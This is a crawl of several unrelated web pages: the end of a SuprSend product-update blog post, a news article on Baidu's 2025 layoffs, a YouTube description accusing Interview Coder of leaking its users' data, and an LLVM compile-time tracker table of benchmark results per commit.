messages to a catch-all channel (e.g. qa@suprsend.com) No more accidental spam, no more noisy test runs — just safe, controlled testing. That’s it for September. As always, we’re just one Slack ping or support ticket away. Share this blog on: Written by: Kavyapriya Sethu Product Marketing Manager, SuprSend Implement a powerful stack for your notifications Get Started For Free Book Demo Company About us Signup Login Integrations Pricing Security Privacy Terms Contact Us Support SuprSend for Startups API Status Sign Up Channels Email SMS Notification Inbox Android Push iOS Push Web Push Xiaomi Push Whatsapp SDK Python SDK Node.js SDK Java SDK Android SDK React Native SDK iOS SDK Flutter SDK Go SDK Resources Documentation Changelog Blogs Write for us SMTP Error Codes SMS Providers Comparisons Email Providers Comparisons SMS Providers Alternatives Join us on Slack We are building a community of developers and product builders from across the globe to make notifications a pleasant experience. © 2025 All rights reserved. SuprStack Inc. By clicking “Accept All Cookies” , you agree to the storing of cookies on your device to enhance site navigation, analyze site usage, and assist in our marketing efforts. View our Privacy Policy for more information. Preferences Deny Accept Privacy Preference Center When you visit websites, they may store or retrieve data in your browser. This storage is often necessary for the basic functionality of the website. The storage may be used for marketing, analytics, and personalization of the site, such as storing your preferences. Privacy is important to us, so you have the option of disabling certain types of storage that may not be necessary for the basic functioning of the website. Blocking categories may impact your experience on the website. Reject all cookies Allow all cookies Manage Consent Preferences by Category Essential Always Active These items are required to enable basic website functionality. Marketing Essential These items are used to deliver advertising that is more relevant to you and your interests. They may also be used to limit the number of times you see an advertisement and measure the effectiveness of advertising campaigns. Advertising networks usually place them with the website operator’s permission. Personalization Essential These items allow the website to remember choices you make (such as your user name, language, or the region you are in) and provide enhanced, more personal features. For example, a website may provide you with local weather reports or traffic news by storing data about your current location. Analytics Essential These items help the website operator understand how its website performs, how visitors interact with the site, and whether there may be technical issues. This storage type usually doesn’t collect information that identifies a visitor. Confirm my preferences and close Get 10% OFF on your next order Subscribe to our newsletter and receive a 10% OFF coupon to use on your next order. Please check your email for your 10% OFF coupon Oops! Something went wrong while submitting the form. | 2026-01-13T08:47:55 |
https://www.finalroundai.com/blog/baidu-layoffs | Baidu Layoffs Hit Up to 40% of Workforce Amid Q3 Loss Promotion title Promotion description Button Text Interview Copilot AI Application AI Resume Builder Auto Apply AI Resume Builder Auto Apply AI Mock Interview Pricing Resources Resume Creation Tools Recruiters Hotline Resume Checker Cover Letter Generator Career Guidance Tools AI Career Coach LinkedIn Profile Optimizer LinkedIn Resume Builder Support Guides Blog Articles Resume Creation Tools Recruiters Hotline Resume Checker Cover Letter Generator Career Guidance Tools AI Career Coach LinkedIn Profile Optimizer LinkedIn Resume Builder Support Guides Blog Articles Question bank Sign In Sign Up Interview Copilot AI Application AI Resume Builder Auto Apply AI Mock Interview Pricing Resources Resume Creation Tools Recruiters Hotline Resume Checker Cover Letter Generator Career Guidance Tools AI Career Coach LinkedIn Profile Optimizer LinkedIn Resume Builder Support Guides Blog Articles 🔥 Question Bank Sign In Home > Blog > News Home > Blog > News Baidu Layoffs Hit Up to 40% of Workforce Amid Q3 Loss Baidu layoffs are set to affect multiple business units as the company restructures, aiming to refocus on AI operations. Written by Kaustubh Saini Edited by Jaya Muvania Reviewed by Kaivan Dave Updated on Nov 28, 2025 Read time 3 min read Comments https://www.finalroundai.com/blog/baidu-layoffs Link copied! This week, Baidu started massive layoffs across multiple departments after reporting a massive financial loss. The layoffs, which began this week and are expected to continue through the end of the year, mark one of the company’s largest workforce reductions in recent times. Baidu Layoffs May Cut Up to 40% of Its Workforce Baidu hasn’t officially announced the exact number of layoffs, but some teams are seeing cuts as high as 40% of their workforce, according to people familiar with the situation. Baidu has implemented these major staff reductions across its Beijing, Shanghai, and Guangzhou offices. The company’s Mobile Ecosystem Group (MEG) is bearing the majority of the cuts. Affected employees are receiving compensation packages that include one month’s pay for each year of service, plus between one and three months of additional salary, according to employees who spoke about their severance agreements. One employee in Beijing shared that 4 out of 9 people on their team received severance notices this week. The key reason behind these layoffs is losses. Baidu lost 11.23 billion yuan ($1.59 billion) in the third quarter of 2025. But the losses weren’t the only bad news. Baidu’s total revenue dropped 7% compared to the previous year, and its online advertising revenue plummeted as well. This marks the second straight quarter of revenue decline for the search engine giant. Baidu’s traditional search engine and advertising business have been losing users and money for a long time. People in China are spending more time on social media apps like RedNote and ByteDance’s Douyin (the Chinese version of TikTok) instead of using search engines. Baidu’s total workforce stood at 35,900 employees at the end of last year. The company has been steadily shrinking for years. Baidu is Behind in the AI Race Baidu was actually the first major Chinese tech company to launch a ChatGPT-style AI service back in 2023, called Ernie Bot. Being first should have been a huge advantage, like being the first person to discover a great new video game before it goes viral. But being first didn’t guarantee success. Baidu’s Ernie is behind ByteDance’s Doubao with 157 million monthly users , and DeepSeek with 143 million monthly users. The company that was once called “China’s Google” now finds itself struggling to compete against newer rivals. Despite spending years and billions of dollars investing in AI, Baidu’s efforts haven’t revived growth. The company has tried different strategies, including making Ernie open-source earlier this year, but nothing has helped it regain its early lead against competitors like Alibaba and DeepSeek. Baidu’s step may serve as a warning to other companies in China’s tech ecosystem. Bottom Line Sources familiar with the layoffs at Baidu said that roles tied to AI and cloud computing will largely be protected, with more resources being directed to AI development. The company previously stated that over half of its mobile search result pages now feature AI-generated content, highlighting its efforts to modernize the user experience. This means that employees working on traditional mobile services and advertising-related roles are at risk, while those in AI and cloud are somewhat insulated. Upgrade your resume! Create a hireable resume with just one click and stand out to recruiters. Upload Your Resume Now ← Back to all articles Table of Contents Example H2 Example H3 Ace Your Next Interview with Confidence Unlock personalized guidance and perfect your responses with Final Round AI, ensuring you stand out and succeed in every interview. Get Started Free Related articles Nvidia CEO says AI will change Every Job and Make Workers Busier than Ever News • Kaustubh Saini Nvidia CEO says AI will change Every Job and Make Workers Busier than Ever AI won’t give workers more free time warns Nvidia CEO Jensen Huang Instead it will transform every job and make survivors busier than ever. Sam Altman Says AI Could Soon Replace Him as OpenAI CEO News • Kaustubh Saini Sam Altman Says AI Could Soon Replace Him as OpenAI CEO OpenAI CEO Sam Altman admits AI could take his job within years, predicting AI will manage 85% of divisions and create billion-dollar one-person companies. Is Labor Day Still Relevant in 2025 When the Labor is AI? News • Kaustubh Saini Is Labor Day Still Relevant in 2025 When the Labor is AI? From fighting for eight-hour workdays in 1886 to battling job automation in 2025, workers face a new challenge. As AI replaces millions of jobs, the question isn't whether machines can do our work better. It's whether we can preserve human dignity in a world where algorithms never take breaks. Will the Job Market Be Better in 2026? News • Kaustubh Saini Will the Job Market Be Better in 2026? The Job Market in 2026 is moving toward a low-hire, low-fire environment. Understand the impact of AI, layoffs, and which sectors are likely to grow. Yale Study Finds No Evidence of an AI Jobs Apocalypse Yet News • Kaustubh Saini Yale Study Finds No Evidence of an AI Jobs Apocalypse Yet A new Yale study finds no evidence of an AI-driven jobs apocalypse. While AI is changing how we work, the big wave of job losses predicted by tech leaders hasn’t happened yet. Tech Layoffs Hit 19,000 in September 2025 as AI Replaces Roles News • Kaustubh Saini Tech Layoffs Hit 19,000 in September 2025 as AI Replaces Roles Over 19,000 tech workers lost their jobs in September 2025 as companies turned to AI. See which companies made the biggest cuts. Read All Articles Your trusted platform to ace any job interviews, craft the perfect resumes, and land your dream jobs. All services are online Products Interview Copilot AI Mock Interview AI Resume Builder Hirevue Phone Interview Speech Analysis College Admission Auto Apply QA Pairs Interview Notes Coding Copilot Resources Tutorials Blog Articles Special Discount Influencer Program Smarter Choice Support FAQ Contact Us Company How Final Round AI works About Careers News PR & Media Referral Program AI Tools AI Career Coach Recruiters Hotline Cover Letter Generator LinkedIn Profile Optimizer LinkedIn Resume Builder Resume Checker © 2025 Final Round AI, 643 Teresita Blvd, San Francisco, CA 94127 Privacy Policy Terms & Conditions Try Mock Interview Now | 2026-01-13T08:47:55 |
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https://m.youtube.com/watch?v=8T1vW85xFiQ | Interview Coder Just Leaked Full Names and Companies of All SWEs Who Cheated For Virality - YouTube 정보 보도자료 저작권 문의하기 크리에이터 광고 개발자 약관 개인정보처리방침 정책 및 안전 YouTube 작동의 원리 새로운 기능 테스트하기 © 2026 Google LLC, Sundar Pichai, 1600 Amphitheatre Parkway, Mountain View CA 94043, USA, 0807-882-594 (무료), yt-support-solutions-kr@google.com, 호스팅: Google LLC, 사업자정보 , 불법촬영물 신고 크리에이터들이 유튜브 상에 게시, 태그 또는 추천한 상품들은 판매자들의 약관에 따라 판매됩니다. 유튜브는 이러한 제품들을 판매하지 않으며, 그에 대한 책임을 지지 않습니다. var ytInitialData = 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I used Interview Coder and got blacklisted from my dream company. So I made a video a couple months ago disproving all their undetectability claims on their website. But this time, I have something even better. They were actually stupid enough to dox all their users on the home page of their website of all places. \n\nInterview Coder is the least legit AI product of all time and they are about to be sued into oblivion. Their \"lifetime access\" isn't going to exist once they are bankrupt from these candidates suing them for leaking all their personal information. Interview Coder leaked their users' names, compensation details, home addresses and more. The funny thing is, this isn't even their first data breach. Last year, they left their API keys exposed in a public Github repo. \n\nTimestamps \n00:00:00 | Interview Coder Exposes Users' Identities \n00:00:14 | Interview Coder Reveals Current Amazon SWE Who Cheated\n00:01:10 | Interview Coder Reveals FlipKart SWE Who Cheated \n00:01:34 | Microsoft SWE Cheater Revealed \n00:02:00 | NVIDIA SWE Cheater Exposed and Blacklisted\n00:02:48 | IBM Cheater Exposed and Blacklisted \n00:03:12 | Interview Coder Selling User Data to HackerRank \n00:03:35 | Apple SWE Caught Cheating with Interview Coder \n00:03:47 | Interview Coder CEO Brags About Revealing Cheaters on Twitter\n\n#interviewcoder #cluely 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| 2026-01-13T08:47:55 |
https://llvm-compile-time-tracker.com/ | LLVM Compile-Time Tracker Index | Graphs | Compare | About Config: Overview stage1-O3 stage1-ReleaseThinLTO stage1-ReleaseLTO-g stage1-O0-g stage1-aarch64-O3 stage1-aarch64-O0-g stage2-O3 stage2-O0-g Metric: instructions instructions:u max-rss task-clock cycles branches branch-misses wall-time size-total size-text size-data size-bss size-file Compare selected: Or click the "C" to compare with previous. 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Show all aengelke/perf/domtreenums6-rebase: Commit stage1-O3 stage1-ReleaseThinLTO stage1-ReleaseLTO-g stage1-O0-g stage1-aarch64-O3 stage1-aarch64-O0-g stage2-O3 stage2-O0-g stage2-clang C 65eb5cc9c6 60733M (+0.02%) 76380M (+0.02%) 89163M ( +0.04% ) 18476M (+0.00%) 68555M (+0.02%) 22661M (+0.00%) 52506M (-0.01%) 16171M (-0.03%) 35574471M (-0.00%) C 5167b66d3f 60723M ( -0.44% ) 76363M ( -0.52% ) 89129M ( -0.40% ) 18475M (+0.00%) 68539M ( -0.43% ) 22661M (-0.04%) 52509M ( -0.52% ) 16176M (-0.01%) 35575373M ( -0.18% ) e8cceccea1 60990M 76761M 89488M 18475M 68835M 22669M 52784M 16177M 35640479M aengelke/perf/pch: Commit stage1-O3 stage1-ReleaseThinLTO stage1-ReleaseLTO-g stage1-O0-g stage1-aarch64-O3 stage1-aarch64-O0-g stage2-O3 stage2-O0-g stage2-clang C 81707618d4 61000M (+0.02%) 76751M (+0.00%) 89491M (+0.02%) 18470M (-0.00%) 68820M (-0.01%) 22670M (-0.01%) 52769M (-0.01%) 16172M (+0.01%) 21322700M ( +0.03% ) C 2d7a7d73bd 60986M (-0.01%) 76748M (-0.00%) 89474M (-0.01%) 18470M (-0.00%) 68829M (+0.00%) 22672M (+0.00%) 52773M (+0.01%) 16170M (-0.01%) 21315661M ( -3.22% ) C 70c05933a8 60992M (+0.01%) 76751M (+0.00%) 89484M (+0.01%) 18471M (-0.01%) 68826M (+0.00%) 22672M (-0.00%) 52767M (-0.03%) 16173M (-0.02%) 22025004M ( -12.95% ) C 8f7cb7f935 60988M (-0.02%) 76749M (-0.01%) 89478M (-0.01%) 18474M (-0.00%) 68823M (-0.02%) 22673M (-0.03%) 52782M (+0.01%) 16176M (+0.04%) 25300117M ( -5.65% ) C 2d1b3dbafc 60998M (+0.02%) 76756M (+0.01%) 89484M (+0.01%) 18474M (+0.01%) 68839M (+0.02%) 22680M ( +0.06% ) 52776M (-0.02%) 16170M (-0.04%) 26814747M ( -11.28% ) C d776a7e7bd 60984M (-0.00%) 76750M (-0.02%) 89471M (-0.01%) 18472M (-0.02%) 68822M (-0.01%) 22665M (-0.02%) 52788M (+0.01%) 16177M (-0.01%) 30223527M ( -15.11% ) C 4160076f71 60986M (-0.00%) 76765M (-0.00%) 89483M (-0.01%) 18476M (-0.01%) 68832M (+0.01%) 22669M (-0.00%) 52780M (+0.01%) 16178M (+0.01%) 35602998M (-0.01%) fbde9240e9 60989M 76765M 89491M 18477M 68828M 22670M 52774M 16176M 35605182M aengelke/perf/domtreenums6: Commit stage1-O3 stage1-ReleaseThinLTO stage1-ReleaseLTO-g stage1-O0-g stage1-aarch64-O3 stage1-aarch64-O0-g stage2-O3 stage2-O0-g stage2-clang C 77c8782276 60730M ( -0.44% ) 76364M ( -0.51% ) 89138M ( -0.40% ) 18478M (+0.00%) 68537M ( -0.42% ) 22657M ( -0.07% ) 52494M ( -0.56% ) 16177M (+0.04%) 35595785M ( -0.19% ) 263802c56b 60999M 76758M 89495M 18477M 68826M 22673M 52788M 16171M 35663899M aengelke/perf/constexpr-tli: Commit stage1-O3 stage1-ReleaseThinLTO stage1-ReleaseLTO-g stage1-O0-g stage1-aarch64-O3 stage1-aarch64-O0-g stage2-O3 stage2-O0-g stage2-clang C 965a8eeab8 60914M (-0.01%) 76670M (-0.02%) 89389M (-0.02%) 18501M (-0.01%) 68737M (-0.01%) 22693M (+0.03%) 52697M (-0.01%) 16184M (-0.06%) 35601127M (-0.00%) C 824cff366a 60919M (+0.01%) 76683M (+0.00%) 89411M (+0.01%) 18504M ( +0.04% ) 68747M (+0.00%) 22686M (-0.02%) 52700M (+0.01%) 16193M (+0.04%) 35601791M ( -0.09% ) 277069e8c1 60915M 76681M 89404M 18496M 68745M 22692M 52693M 16187M 35634592M aengelke/perf/pch2: Commit stage1-O3 stage1-ReleaseThinLTO stage1-ReleaseLTO-g stage1-O0-g stage1-aarch64-O3 stage1-aarch64-O0-g stage2-O3 stage2-O0-g stage2-clang C 5be1e67e1d 60936M (+0.00%) 76680M (-0.02%) 89416M (+0.00%) 18503M (-0.01%) 68756M (+0.00%) 22698M (+0.01%) 52698M (+0.01%) 16182M (+0.00%) 21510523M ( -0.15% ) C 92ca4a5d14 60935M (-0.00%) 76694M (+0.00%) 89415M (-0.01%) 18505M (+0.02%) 68754M (-0.00%) 22696M (+0.00%) 52694M (-0.02%) 16181M (-0.01%) 21542694M ( -3.12% ) C 45db8db438 60936M (-0.02%) 76692M (-0.01%) 89425M (-0.02%) 18502M ( -0.12% ) 68756M (-0.02%) 22696M ( -0.08% ) 52703M (-0.04%) 16182M ( -0.19% ) 22236808M ( -0.06% ) C f83f964d3a 60949M (+0.00%) 76698M (-0.01%) 89442M (-0.00%) 18523M (+0.02%) 68771M (+0.01%) 22715M (+0.02%) 52725M (-0.00%) 16213M (+0.02%) 22249328M (-0.02%) C 330e472e63 60947M (+0.00%) 76706M (+0.02%) 89445M (+0.01%) 18520M (-0.00%) 68767M (-0.00%) 22711M (-0.02%) 52725M (-0.00%) 16210M (-0.01%) 22252860M (-0.01%) C 06d5189659 60945M (-0.01%) 76694M (+0.00%) 89434M (-0.01%) 18520M (-0.00%) 68768M (-0.00%) 22715M (+0.01%) 52726M (+0.04%) 16211M (+0.04%) 22254102M ( -12.84% ) C 3d3e54e7a7 60950M (-0.00%) 76691M (-0.00%) 89440M (+0.01%) 18521M (-0.01%) 68769M (-0.01%) 22713M (-0.01%) 52704M (-0.00%) 16205M (-0.01%) 25533847M ( -5.63% ) C 1b605e083e 60951M (+0.01%) 76693M (+0.01%) 89430M (-0.01%) 18523M (-0.01%) 68774M (-0.00%) 22715M (+0.00%) 52705M (-0.00%) 16207M (-0.04%) 27058039M ( -11.14% ) C 2fbd73f57c 60944M ( +0.04% ) 76687M (-0.00%) 89435M (+0.02%) 18525M ( +0.16% ) 68777M ( +0.05% ) 22714M ( +0.08% ) 52707M (+0.02%) 16213M ( +0.14% ) 30449798M ( -14.54% ) C 0132e36f56 60921M (+0.01%) 76690M (+0.01%) 89420M (+0.01%) 18496M (+0.00%) 68742M (+0.00%) 22696M (+0.03%) 52694M (-0.00%) 16190M (-0.03%) 35631973M (-0.01%) C 684214fc7f 60916M (+0.00%) 76683M (+0.00%) 89411M (+0.01%) 18495M (-0.00%) 68739M (-0.01%) 22690M (-0.01%) 52695M (+0.00%) 16194M (+0.04%) 35636839M (+0.01%) 277069e8c1 60915M 76681M 89404M 18496M 68745M 22692M 52693M 16187M 35634592M aengelke/perf/no-cl-lambda: Commit stage1-O3 stage1-ReleaseThinLTO stage1-ReleaseLTO-g stage1-O0-g stage1-aarch64-O3 stage1-aarch64-O0-g stage2-O3 stage2-O0-g stage2-clang C a0c8fdcf0a 60933M (+0.03%) 76684M (+0.00%) 89429M (+0.03%) 18492M (-0.02%) 68754M (+0.01%) 22688M (-0.01%) 52677M (-0.03%) 16179M (-0.05%) 35613219M ( -0.06% ) 277069e8c1 60915M 76681M 89404M 18496M 68745M 22692M 52693M 16187M 35634592M Remote tbaederr: Showing recent experiments. Show all tbaederr/perf/ce-test4: Commit stage1-O3 stage1-ReleaseThinLTO stage1-ReleaseLTO-g stage1-O0-g stage1-aarch64-O3 stage1-aarch64-O0-g stage2-O3 stage2-O0-g stage2-clang C ffab8ed797 61118M (+0.03%) 76860M (+0.00%) 89581M (-0.02%) 18601M (+0.02%) 68947M (+0.01%) 22787M (+0.01%) 52863M (-0.05%) 16282M (+0.01%) 35653583M (+0.00%) C 854adac725 61098M (-0.02%) 76858M (+0.00%) 89597M (+0.01%) 18598M (-0.00%) 68942M (-0.00%) 22783M (-0.01%) 52889M (+0.00%) 16280M (+0.01%) 35652202M (-0.02%) C ff9d634483 61112M (-0.01%) 76856M (-0.01%) 89587M (-0.01%) 18598M (-0.01%) 68942M (-0.01%) 22786M (+0.01%) 52888M (+0.05%) 16278M (-0.00%) 35658168M ( +0.05% ) C 49ff927ffe 61120M (-0.00%) 76866M (+0.01%) 89595M (-0.00%) 18600M (+0.01%) 68952M (+0.02%) 22783M (-0.02%) 52863M (+0.01%) 16278M (+0.03%) 35639474M (+0.01%) C 003960ab5f 61121M (+0.01%) 76859M (-0.01%) 89597M (+0.01%) 18598M (-0.01%) 68941M (-0.01%) 22788M (+0.02%) 52860M (-0.05%) 16274M (-0.04%) 35635628M (+0.00%) C 51878c023c 61113M (+0.00%) 76864M (+0.01%) 89585M (+0.01%) 18600M ( +0.04% ) 68945M (+0.02%) 22783M (-0.02%) 52885M (+0.03%) 16280M (+0.04%) 35635229M ( +0.04% ) C 95f890cf6f 61111M (+0.01%) 76859M (+0.00%) 89574M (-0.01%) 18592M (-0.01%) 68934M (+0.00%) 22787M (+0.02%) 52866M (-0.02%) 16274M (-0.00%) 35619614M ( +0.03% ) C d8129e2130 61108M ( +0.16% ) 76858M ( +0.13% ) 89585M ( +0.12% ) 18594M ( +0.62% ) 68934M ( +0.15% ) 22783M ( +0.47% ) 52875M ( +0.17% ) 16275M ( +0.63% ) 35607719M ( -0.17% ) 8f182526de 61012M 76762M 89480M 18479M 68828M 22676M 52784M 16173M 35667924M Remote dtcxzyw: Showing recent experiments. Show all dtcxzyw/perf/fix-175018: Commit stage1-O3 stage1-ReleaseThinLTO stage1-ReleaseLTO-g stage1-O0-g stage1-aarch64-O3 stage1-aarch64-O0-g stage2-O3 stage2-O0-g stage2-clang C 103e605ce6 61040M (+0.01%) 76767M (-0.01%) 89525M (+0.02%) 18476M (-0.00%) 68840M (+0.01%) 22671M (+0.01%) 52765M (+0.00%) 16170M (-0.03%) 35655784M (-0.02%) C 6c43e292f6 61031M (-0.02%) 76771M (+0.00%) 89507M (-0.01%) 18477M (+0.02%) 68837M (-0.00%) 22667M (-0.01%) 52762M (-0.02%) 16174M (+0.01%) 35661561M (+0.01%) C 870f716857 61041M (+0.01%) 76768M (+0.00%) 89516M (-0.01%) 18474M (-0.02%) 68838M (+0.02%) 22671M (+0.01%) 52773M (+0.01%) 16173M (-0.01%) 35657768M (-0.00%) C c357f22387 61037M (+0.00%) 76766M (+0.00%) 89523M (+0.02%) 18478M (+0.02%) 68827M (-0.02%) 22668M (-0.00%) 52767M (+0.03%) 16175M (+0.01%) 35657772M (+0.01%) C 2ad6cfb839 61035M (-0.01%) 76763M (-0.01%) 89505M (-0.02%) 18474M (+0.00%) 68842M (+0.01%) 22669M (-0.02%) 52753M (+0.01%) 16174M (-0.01%) 35655782M (+0.01%) ded109c0cf 61044M 76769M 89520M 18473M 68837M 22674M 52749M 16176M 35652902M Remote antoniofrighetto: Showing recent experiments. Show all antoniofrighetto/perf/add-capturesbeforeanalysis: Commit stage1-O3 stage1-ReleaseThinLTO stage1-ReleaseLTO-g stage1-O0-g stage1-aarch64-O3 stage1-aarch64-O0-g stage2-O3 stage2-O0-g stage2-clang C 1d1a4d4a09 60900M (-0.00%) 76663M (+0.00%) 89410M (+0.01%) 18501M (+0.03%) 68756M (+0.01%) 22690M (-0.01%) 52668M (-0.01%) 16189M (+0.02%) 35632763M (+0.01%) 448f5fe41b 60902M 76662M 89398M 18497M 68751M 22692M 52675M 16186M 35629438M antoniofrighetto/perf/cgp-duplicate-for-tail: Commit stage1-O3 stage1-ReleaseThinLTO stage1-ReleaseLTO-g stage1-O0-g stage1-aarch64-O3 stage1-aarch64-O0-g stage2-O3 stage2-O0-g stage2-clang C 865721cff4 60923M (+0.00%) 76680M (-0.01%) 89401M (+0.01%) 18497M (+0.01%) 68778M (+0.01%) 22689M (+0.02%) 52674M (+0.02%) 16179M (-0.02%) 35603368M (+0.01%) 24f0c26dd0 60922M 76688M 89395M 18495M 68773M 22685M 52661M 16181M 35598983M Remote john-brawn-arm: Showing recent experiments. Show all john-brawn-arm/perf/lsr_disable_collapsing_unrolled: Commit stage1-O3 stage1-ReleaseThinLTO stage1-ReleaseLTO-g stage1-O0-g stage1-aarch64-O3 stage1-aarch64-O0-g stage2-O3 stage2-O0-g stage2-clang C 19983f44aa 60916M (-0.02%) 76682M (-0.01%) 89422M (+0.01%) 18499M (+0.01%) 68782M (+0.01%) 22682M (-0.03%) 52687M (+0.01%) 16176M (+0.00%) 35603155M (+0.00%) 7e2b79b049 60925M 76693M 89411M 18496M 68776M 22690M 52679M 16176M 35601431M Remote Thibault-Monnier: Showing recent experiments. Show all Thibault-Monnier/perf/charinfo: Commit stage1-O3 stage1-ReleaseThinLTO stage1-ReleaseLTO-g stage1-O0-g stage1-aarch64-O3 stage1-aarch64-O0-g stage2-O3 stage2-O0-g stage2-clang C 92cb276808 60986M (+0.02%) 76754M (+0.00%) 89487M (+0.00%) 18455M ( +0.06% ) 68808M (+0.01%) 22655M ( +0.05% ) 52793M ( +0.10% ) 16181M ( +0.18% ) 35615117M (+0.00%) 66df6cceea 60975M 76754M 89483M 18444M 68798M 22642M 52740M 16151M 35613836M Remote origin: Showing recent experiments. Show all origin/main: Commit stage1-O3 stage1-ReleaseThinLTO stage1-ReleaseLTO-g stage1-O0-g stage1-aarch64-O3 stage1-aarch64-O0-g stage2-O3 stage2-O0-g stage2-clang ef90ba684d e884a44cdd 620e479d23 b598dcbd75 b685bf0032 C e9f758a59b 60986M (+0.00%) 76760M (-0.00%) 89485M (-0.01%) 18472M (-0.02%) 68826M (+0.00%) 22674M (+0.01%) 52794M (+0.01%) 16171M (-0.00%) 35609840M (-0.01%) afd7d13d14 C e3156c531d 60985M (-0.01%) 76763M (-0.00%) 89491M (+0.01%) 18475M (+0.00%) 68825M (-0.01%) 22671M (+0.01%) 52789M (+0.03%) 16172M (-0.01%) 35614002M (-0.02%) 6cbf9cef58 C c4750d0575 60991M (+0.01%) 76764M (+0.01%) 89485M (-0.01%) 18474M (-0.02%) 68833M (+0.00%) 22670M (+0.01%) 52773M (-0.04%) 16173M (-0.00%) 35620439M (+0.00%) dc1a886fb9 2001da6fd3 C af98aadc63 60988M (+0.01%) 76757M (-0.00%) 89495M (-0.00%) 18478M (+0.00%) 68830M (+0.01%) 22667M (-0.01%) 52795M (-0.01%) 16173M (-0.01%) 35619791M (+0.02%) C ef2ec1fbac 60984M (-0.01%) 76757M (-0.01%) 89497M (+0.02%) 18477M (+0.00%) 68826M (+0.01%) 22670M (-0.01%) 52801M (+0.03%) 16174M (+0.03%) 35614427M (-0.00%) dc257a4609 124cb2ec9d 2b839f66ae C a0e0775d91 60988M (-0.00%) 76768M (+0.02%) 89478M (-0.02%) 18477M (+0.01%) 68822M (-0.00%) 22672M (+0.02%) 52786M (-0.01%) 16169M (-0.03%) 35615359M (+0.02%) C e4b8d8a474 60990M (+0.00%) 76756M (-0.00%) 89499M (+0.01%) 18474M (-0.01%) 68824M (-0.00%) 22667M (-0.01%) 52789M (-0.01%) 16173M (+0.02%) 35608803M (-0.01%) C bd28c6ac9a 60988M (-0.01%) 76757M (-0.01%) 89493M (-0.01%) 18477M (+0.02%) 68825M (-0.00%) 22668M (-0.01%) 52793M (+0.01%) 16171M ( -0.07% ) 35612925M (+0.00%) bb008e7417 9e1606026c C ee3f4bc92f 60993M (+0.00%) 76763M (+0.01%) 89502M (+0.02%) 18473M (-0.00%) 68828M (-0.00%) 22671M (-0.03%) 52788M (+0.02%) 16182M (-0.01%) 35611918M (-0.01%) C da94edf535 60992M (+0.01%) 76756M (-0.01%) 89487M (-0.00%) 18473M (+0.00%) 68831M (+0.01%) 22678M (+0.03%) 52779M (+0.00%) 16184M (+0.06%) 35615965M (+0.01%) 77613aa7ea 13cd7003ad a01b7c23c4 ed9f5c93dc 438f887080 2329d0436f f9c561b561 26624d51d1 a9037dc957 587bac637c C c6fc6adb7e 60984M (-0.01%) 76761M (+0.01%) 89489M (+0.01%) 18473M (-0.00%) 68824M (-0.01%) 22671M (+0.01%) 52779M (+0.00%) 16174M (-0.03%) 35612604M (+0.00%) e4b22017df 1b69dfeaf8 9596c9242f 30596a0b03 12ecbfb59b 998e0aed7b 393ba8c0dc 552a696a71 af4427d5a4 C 5e256017ba 60989M (-0.00%) 76757M (-0.01%) 89483M (-0.02%) 18473M (+0.00%) 68828M (-0.00%) 22669M (-0.01%) 52777M (-0.01%) 16179M (-0.01%) 35611493M (-0.00%) a8ba9c4fa2 3874c4541a 3fe94ab4d6 1c8627fbf3 014d2b9d9f 44df98e963 C 1023f91d3d 60990M (+0.01%) 76763M (+0.01%) 89497M (+0.01%) 18473M (-0.01%) 68831M (+0.01%) 22670M (+0.01%) 52780M (-0.01%) 16181M (+0.06%) 35611737M (+0.01%) 0828533645 496729fe7e C 5c764b4e3c 60985M (-0.01%) 76758M (+0.00%) 89488M (-0.01%) 18475M (-0.01%) 68825M (+0.00%) 22669M (+0.00%) 52786M (+0.01%) 16172M (-0.01%) 35607678M (-0.00%) fa36b0cdb0 C f9a8096067 60992M (+0.01%) 76758M (-0.00%) 89495M (+0.01%) 18476M (+0.01%) 68825M (+0.00%) 22668M (-0.02%) 52779M (+0.00%) 16173M (+0.01%) 35608093M (-0.01%) C 55e7a89fd3 60988M (+0.00%) 76760M (-0.00%) 89487M (-0.02%) 18473M (-0.02%) 68822M (-0.02%) 22672M (+0.01%) 52779M (+0.01%) 16171M (-0.04%) 35613406M (-0.00%) 12131c9f8d 71293e4495 b491241734 c259ed51a3 d07062acd4 62c97aa519 C a062249932 60987M (+0.00%) 76762M (-0.00%) 89500M (+0.02%) 18477M (+0.00%) 68832M (+0.02%) 22670M (+0.01%) 52775M (-0.01%) 16177M (+0.04%) 35613651M (-0.01%) be518278fd e4d2e4c27b 0fedcf9fbc 37ac7842a3 9cd7908d5f C 7275248f41 60987M (-0.01%) 76764M (+0.01%) 89486M (-0.01%) 18477M (+0.01%) 68822M (-0.01%) 22667M (-0.03%) 52778M (+0.00%) 16171M (-0.02%) 35615939M (+0.01%) a76dbdd268 C ba76e02d67 60991M (+0.01%) 76756M (-0.00%) 89499M (-0.00%) 18474M (-0.00%) 68828M (+0.02%) 22673M (-0.00%) 52778M (-0.01%) 16175M (+0.01%) 35610715M (+0.00%) 3cfae43d07 C 5334c51486 60986M (-0.01%) 76756M (-0.01%) 89501M (+0.01%) 18474M (+0.00%) 68817M (-0.02%) 22673M (+0.01%) 52783M (+0.01%) 16173M (+0.01%) 35609446M (+0.01%) 55ba30bd37 57e4ff2681 C 70bd0e2273 60990M (-0.00%) 76761M (-0.00%) 89492M (+0.01%) 18474M (-0.02%) 68831M (-0.00%) 22672M (+0.01%) 52775M (-0.02%) 16172M (-0.02%) 35607372M (-0.00%) 0815ed34b8 C 564c0c169f 60990M (+0.01%) 76761M (+0.00%) 89484M (-0.00%) 18478M (+0.02%) 68833M (+0.00%) 22669M (-0.00%) 52784M (+0.02%) 16176M (+0.00%) 35607876M (-0.02%) C c152a0b9b0 60986M (-0.00%) 76759M (-0.01%) 89486M (+0.01%) 18475M (+0.00%) 68832M (+0.00%) 22670M (-0.00%) 52772M (+0.02%) 16176M (+0.02%) 35614300M (-0.00%) 38cb7ddca2 dae3b49cba C d514b32c23 60988M (+0.00%) 76765M (+0.01%) 89481M (-0.02%) 18474M (-0.01%) 68830M (-0.01%) 22671M (-0.00%) 52763M (-0.00%) 16172M (-0.01%) 35614929M (+0.02%) C b76c84e70f 60987M (+0.00%) 76758M (-0.00%) 89500M (+0.01%) 18476M (+0.01%) 68837M (+0.01%) 22671M (+0.01%) 52764M (+0.00%) 16174M (+0.01%) 35608610M (+0.01%) C 7d96b39c4f 60987M (+0.00%) 76759M (-0.01%) 89487M (-0.00%) 18473M (-0.01%) 68828M (-0.01%) 22670M (+0.00%) 52763M (-0.04%) 16172M (-0.03%) 35604230M (-0.01%) dbe3e9b019 C 9f6f16563f 60986M (-0.00%) 76768M (+0.00%) 89488M (+0.00%) 18475M (+0.01%) 68833M (-0.00%) 22669M (-0.01%) 52783M 